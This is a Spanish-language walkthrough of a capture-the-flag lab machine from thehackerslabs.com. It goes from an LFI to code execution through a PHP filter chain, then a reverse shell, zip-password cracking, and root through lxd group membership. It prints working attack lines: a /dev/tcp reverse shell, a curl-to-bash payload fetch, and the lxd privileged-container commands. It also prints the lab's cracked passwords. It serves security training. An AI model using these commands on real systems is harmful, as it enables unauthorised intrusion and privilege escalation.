Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://thehackerslabs.com/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito, así también al ejecutarlo podemos ver que nos indica la dirección IP que tiene la máquina.
Realizamos un ping a la máquina para comprobar la conexión y observamos que sí tenemos.
Iniciamos con un escaneo de la dirección IP y podemos observar que identifica 2 puertos.
Ingresamos la dirección IP en el navegador y podemos observar que la página tiene varias cosas, pero ningún botón es útil.
Realizamos un escaneo de subdirectorios donde observamos varios, entre ellos uno llamativo el cual es wow
.
Vamos al directorio y observamos que tiene un archivo TXT.
Al abrir el archivo podemos ver que indica la dirección de /opt
.
Revisamos la página principal de nuevo y podemos observar que recalca NAMARI
con un texto interesante.
Probamos donde ingresarlo y agregándolo como directorio podemos observar que es correcto.
Subimos un archivo de prueba.
Al subirlo solo tenemos la notificación de que se subió el archivo.
En Incluir archivo
probamos un LFI y podemos observar que tenemos éxito, también podemos observar que el parámetro que usa es page.
Realizamos un fuzzing
para ver si posible un log poisoning
, pero observamos que no.
Ya que se trata de una página en PHP y podemos realizar un LFI esto nos da paso también para poder realizar un PHP Filters Chain Primero debemos comprobar si podemos realizar el ataque. Para ello, descargamos el script que nos generara la cadena. Archivo usamos el siguiente comando.
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
Agregamos la cadena que nos genera en el URL y podemos observar que tenemos el archivo.
Como comprobamos que es posible el ataque crearemos una revshell simple en nuestra máquina.
bash -i >& /dev/tcp/192.168.0.5/1234 0>&1
Generaremos la cadena, esta tendrá el objetivo de descargar la shell que acabamos de crear y la ejecute. Luego de ejecutarlo copiamos la cadena que se genera.
python3 php_filter_chain_generator.py --chain '<?= `curl 192.168.0.5/shell|bash` ?>'
Antes de enviar la cadena debemos abrir dos consolas. La primera es para iniciar el servidor en Python y la segunda iniciaremos nuestro listener.
Enviamos la petición, pero nos indica que es muy larga.
Probamos algunas variantes las cuales nos sigue indicando un error. Ingresamos comandos básicos en la cadena para tener una idea más general.
Al enviarlo podemos observar algunos de los archivos que probamos usando wget
en vez de curl
.
Enviamos un pwd
en la cadena y podemos observar que es el directorio NAMARI
.
Probamos abriendo la imagen que tenemos en ese directorio y si es posible acceder al archivo.
Intentamos subiendo una revshell, esta la pueden conseguir en PentestMonkey
Generamos la cadena y la enviamos, no olviden que debemos tener activo tanto nuestro servidor Python como el listener.
Si no cerraron la página donde realizamos la prueba del listado de archivos, podrán observar el archivo.
A la URL del directorio de NAMARI
le agregamos el nombre del archivo y enviamos.
Nos dirigimos a nuestro listener y podemos observar que ya establecimos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Una vez dentro nos dirigimos al directorio /opt
, ya que teníamos un mensaje en ese lugar, pero no vemos nada.
Realizamos un tree -la
y podemos observar que dentro de una carpeta oculta tenemos un archivo zip
.
Tratamos de descomprimir el archivo, pero no podemos, Probamos revisando si tenemos Python y es así.
Como validamos que poseemos Python iniciamos un servidor
En nuestra máquina descargamos el archivo zip
.
Intentamos descomprimir el archivo y podemos observar que posee password.
Usamos zip2john
y john
para poder obtener el password y tenemos éxito.
batman
Al descomprimir el archivo podemos observar un texto interesante, que podemos suponer se trata de un password.
6rK5£6iqF;o|8dmla859/_
Leemos los usuarios del passwd
y podemos ver que solo tenemos 2 con bash
.
Probamos el texto que encontramos como password de rodgar
y es correcto, también estamos dentro como este usuario.
rodgar:6rK5£6iqF;o|8dmla859/_
Nos dirigimos a la carpeta del usuario y solo podemos observar el flag.
Revisamos si tiene permisos SUID o capabilities, no podemos observar una que nos sea útil.
Ingresamos el comando sudo -l
y podemos observar que no tenemos permisos, ingresamos un id
donde observamos que pertenece a varios grupos.
Revisando los grupos detenidamente tenemos el grupo lxd
.
Primero que es un lxd
.
Con una idea de que es, podemos continuar. Para esto podemos guiarnos por medio de la página de HackTricks.
En nuestra máquina debemos preparar la imagen de alpine
. Primero debemos clonar el repositorio.
git clone https://github.com/saghul/lxd-alpine-builder
Nos cambiamos al directorio que acabamos de clonar y construimos el archivo.
Iniciamos un servidor en el directorio del archivo.
Descargamos el archivo .tat.gz
.
Para ejecutar el archivo debemos realizar lo siguiente. En caso de que la imagen copiar el archivo al directorio home del usuario.
lxc image import alpine-v3.20-x86_64-20240911_1705.tar.gz --alias gm4tsy
Luego de unos segundos ejecutamos el comando y podremos observar nuestra imagen.
lxc image list
Arrancamos el servicio de lxd
, Presionamos enter sin ingresar nada para tener todo por defecto.
lxd init
Creamos el contenedor.
lxc init gm4tsy test -c security.privileged=true
Montamos el directorio /root
en la imagen.
lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true
Iniciamos nuestra imagen
lxc start test
Ahora para conectarnos usaremos sh
lxc exec test /bin/sh
Luego de enviar podemos observar que somos root
.
Si queremos obtener permisos root
fuera de la imagen, no podemos hacerlo de esta manera, ya que estamos dentro de la imagen que montamos y por ello no encuentra el directorio.
Lo que debemos hacer es dirigirnos a /mnt/root
y recién podremos darle los permisos a la bash
.
Una vez realizado ello, salimos de la imagen y realizamos un bash -p
y accedimos como root
. De esta manera culminando esta máquina.